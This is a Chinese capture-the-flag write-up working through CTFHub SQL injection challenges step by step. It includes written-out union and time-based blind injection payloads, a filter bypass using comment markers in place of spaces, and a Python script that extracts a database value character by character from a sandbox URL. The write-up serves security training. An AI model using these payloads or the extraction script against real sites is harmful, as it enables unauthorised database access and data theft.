CTFHub SQL注入

ctfhub的SQL注入中的flag是动态生成的

1、整数型注入

1、按照提示输入1

CTFHub SQL注入_第1张图片

发现直接给出了SQL语句,根据给出的SQL语句可以判断出直接使用联合查询即可

2、先使用order by判断字段数

CTFHub SQL注入_第2张图片

首先使用order by 3 ,页面无回显,改为2之后页面显示正确。因此判断当前数据库当前表,共有2个字段。

3、使用联合查询,判断页面显示位

CTFHub SQL注入_第3张图片

首先将id改为一个不存在的纸,根据联合查询的特性,就会返回11111,222222然后显示在页面上。

4、查询数据库版本

CTFHub SQL注入_第4张图片

5、查询当前数据库

CTFHub SQL注入_第5张图片

6、查询所有数据库

CTFHub SQL注入_第6张图片

7、查询当前数据库所有表

CTFHub SQL注入_第7张图片

8、查询当前数据库当前表所有字段

CTFHub SQL注入_第8张图片

9、查询flag值

CTFHub SQL注入_第9张图片

flag:

ctfhub{3fb4fbef3fd3175a864110b6}

2、字符型注入

CTFHub SQL注入_第10张图片

字符型注入根据页面显示的SQL语句,可以知道基本思路和整形注入相似,只是payload需要加上单引号

CTFHub SQL注入_第11张图片

payload

?id=-1' union select 1,flag from flag--+

flag

ctfhub{4098ca7480c9a812a9321c3d}

3、报错注入

1、按提示输入

CTFHub SQL注入_第12张图片
发现页面未显示出查询的数据,但是当SQL语句错误时会显示报错信息

2、利用extractvalue函数报错注入

CTFHub SQL注入_第13张图片

成功报错,显示出数据库版本

3、查询所有数据库

CTFHub SQL注入_第14张图片

但是extractvalue函数第二个参数最大长度为32位,所以使用substr函数对第二个参数进行分割

CTFHub SQL注入_第15张图片

成功得到所有数据库名

4、查询当前数据库所有表

CTFHub SQL注入_第16张图片

5、查询当前数据库当前表所有字段

CTFHub SQL注入_第17张图片

6、查询flag值

CTFHub SQL注入_第18张图片

CTFHub SQL注入_第19张图片

flag:

ctfhub{d6b0bef8ea6e6fd9631b5c1f}

4、布尔盲注

1、判断flag长度

CTFHub SQL注入_第20张图片

flag为32

2、使用burp爆破出flag

CTFHub SQL注入_第21张图片

flag:

ctfhub{60a7b4278aedbc32f0ec858d}

5、时间盲注

payload

?id=1 and if(substr((select flag from sqli.flag),31,1)>'5',sleep(5),0)

爆破脚本

#coding:utf-8
import requests
import sys
import time

session=requests.session()
url = "http://challenge-c566d59f2dded69f.sandbox.ctfhub.com:10080/?id="
name = ""
for i in range(1,32):
	print(i)
	for j in range(31,128):
		j = (128+31) -j
		str_ascii=chr(j)
		payolad = "if(substr((select flag from sqli.flag),%d,1) = '%s',sleep(1),1)" %(i,str_ascii)
		start_time = time.time()
		str_get = session.get(url=url + payolad)
		end_time = time.time()
		t = end_time - start_time
		if t > 1:
			if str_ascii == "+":
				sys.exit()
			else:
				name += str_ascii
				break
	print(name)
ctfhub{347cd6b5669702a229224fb6}

6、MySQL结构

1、查询所有数据库名

CTFHub SQL注入_第22张图片

2、查询所有表

CTFHub SQL注入_第23张图片

3、查询所有字段

CTFHub SQL注入_第24张图片

4、查询flag

CTFHub SQL注入_第25张图片

ctfhub{e22038a46e6aa1e47c1e9efd}

7、cookie注入

1、使用burp抓包,使用order by判断字段

CTFHub SQL注入_第26张图片

2、查询所有数据库

CTFHub SQL注入_第27张图片

3、查询sqli数据库中所有表

CTFHub SQL注入_第28张图片

4、查询所有字段

CTFHub SQL注入_第29张图片

5、查询flag

CTFHub SQL注入_第30张图片

ctfhub{06145e574bea5cd5b326bb25}

8、UA注入

抓包分析,注入点在请求头中

CTFHub SQL注入_第31张图片

1、查询所有数据库

CTFHub SQL注入_第32张图片

2、查询所有表

CTFHub SQL注入_第33张图片

3、查询所有字段

CTFHub SQL注入_第34张图片

4、查询flag

CTFHub SQL注入_第35张图片

flag

ctfhub{a09a39bb06a15ca6fb9ce8e3}

9、Refer注入

CTFHub SQL注入_第36张图片

抓包分析,添加referer字段。注入点在referer字段

1、查询表名

CTFHub SQL注入_第37张图片

2、查询字段

CTFHub SQL注入_第38张图片

3、查询flag

CTFHub SQL注入_第39张图片

10、过滤空格

可以尝试使用以下符号代替空格

image-20210207132042893

1、尝试判断字段数

CTFHub SQL注入_第40张图片

发现被检测到

根据提示猜测可能是过滤空格了

2、尝试使用/**/来代替空格

CTFHub SQL注入_第41张图片

3、查询所有表名

CTFHub SQL注入_第42张图片

4、查询所有字段

CTFHub SQL注入_第43张图片

5、查询flag

CTFHub SQL注入_第44张图片

flag

ctfhub{f97e87de975f11c9521469c9}

你可能感兴趣的:(SQL注入,SQL注入)